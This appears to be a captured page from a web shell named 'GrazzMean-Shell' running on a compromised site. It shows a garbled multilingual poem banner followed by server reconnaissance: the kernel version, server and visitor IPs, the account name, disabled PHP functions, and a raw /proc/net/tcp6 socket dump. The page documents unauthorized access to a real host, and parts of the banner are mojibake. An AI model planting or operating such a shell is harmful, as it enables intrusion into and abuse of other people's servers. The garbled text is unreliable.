曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜. rahbord-ins.ir - GrazzMean-Shell
shell bypass 403

GrazzMean-Shell Shell

: /proc/net/ [ dr-xr-xr-x ]
Uname: Linux server18.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 185.126.202.122
Your Ip: 216.73.217.55
User: rahbordf (4876) | Group: rahbordf (4881)
Safe Mode: OFF
Disable Function:
show_source, system, shell_exec, passthru, exec, popen, proc_open

name : tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0BD7 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 164167 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3635645384 1 0000000000000000 100 0 0 10 50
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565320 1 0000000000000000 100 0 0 10 256
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565321 1 0000000000000000 100 0 0 10 256
   4: 00000000000000000000000000000000:03E1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467362 1 0000000000000000 100 0 0 10 0
   5: 00000000000000000000000000000000:03E3 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467314 1 0000000000000000 100 0 0 10 0
   6: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   994        0 3700549033 1 0000000000000000 100 0 0 10 0
   7: 00000000000000000000000000000000:024B 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3635645388 1 0000000000000000 100 0 0 10 50
   8: 00000000000000000000000000000000:2BCB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   988        0 29994 1 0000000000000000 100 0 0 10 0
   9: 00000000000000000000000000000000:006E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467312 1 0000000000000000 100 0 0 10 0
  10: 00000000000000000000000001000000:030F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3689637372 1 0000000000000000 100 0 0 10 0
  11: 00000000000000000000000000000000:008F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038467360 1 0000000000000000 100 0 0 10 0
  12: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565316 1 0000000000000000 100 0 0 10 256
  13: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3697565317 1 0000000000000000 100 0 0 10 256
  14: 00000000000000000000000000000000:01D1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3635645386 1 0000000000000000 100 0 0 10 50
  15: 00000000000000000000000000000000:0035 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 3279727095 1 0000000000000000 100 0 0 10 0
  16: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3038464682 1 0000000000000000 100 0 0 10 9
  17: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:917E 01 00000000:00000000 02:000AFE43 00000000   988        0 3805146810 2 0000000000000000 20 4 25 10 7
  18: 00000000000000000000000001000000:8F84 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:00001450 00000000     0        0 0 3 0000000000000000
  19: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:E8C6 01 00000000:00000000 02:000AB176 00000000   988        0 3805083304 2 0000000000000000 20 4 1 7 7
  20: 00000000000000000000000001000000:917E 00000000000000000000000001000000:2BCB 01 00000000:0000000E 00:00000000 00000000  4920        0 3805148931 1 0000000000000000 20 4 26 10 7
  21: 00000000000000000000000001000000:8CF8 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:000007CB 00000000     0        0 0 3 0000000000000000
  22: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:9188 01 00000000:00000000 02:000AFE43 00000000   988        0 3805146815 2 0000000000000000 20 4 25 10 7
  23: 00000000000000000000000001000000:9188 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  4920        0 3805146814 1 0000000000000000 20 4 26 10 7
  24: 00000000000000000000000001000000:E8C6 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  3033        0 3805089343 1 0000000000000000 20 4 0 10 7
  25: 00000000000000000000000001000000:8CDD 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:000009E6 00000000     0        0 0 3 0000000000000000
  26: 00000000000000000000000001000000:8CDC 00000000000000000000000001000000:2BCB 06 00000000:00000000 03:00000640 00000000     0        0 0 3 0000000000000000
  27: 00000000000000000000000001000000:8AE0 00000000000000000000000001000000:2BCB 01 00000000:00000000 00:00000000 00000000  3033        0 3805128657 1 0000000000000000 20 4 0 10 7
  28: 00000000000000000000000001000000:2BCB 00000000000000000000000001000000:8AE0 01 00000000:00000000 02:000AE4A9 00000000   988        0 3805135966 2 0000000000000000 20 4 1 10 7
© 2026 GrazzMean-Shell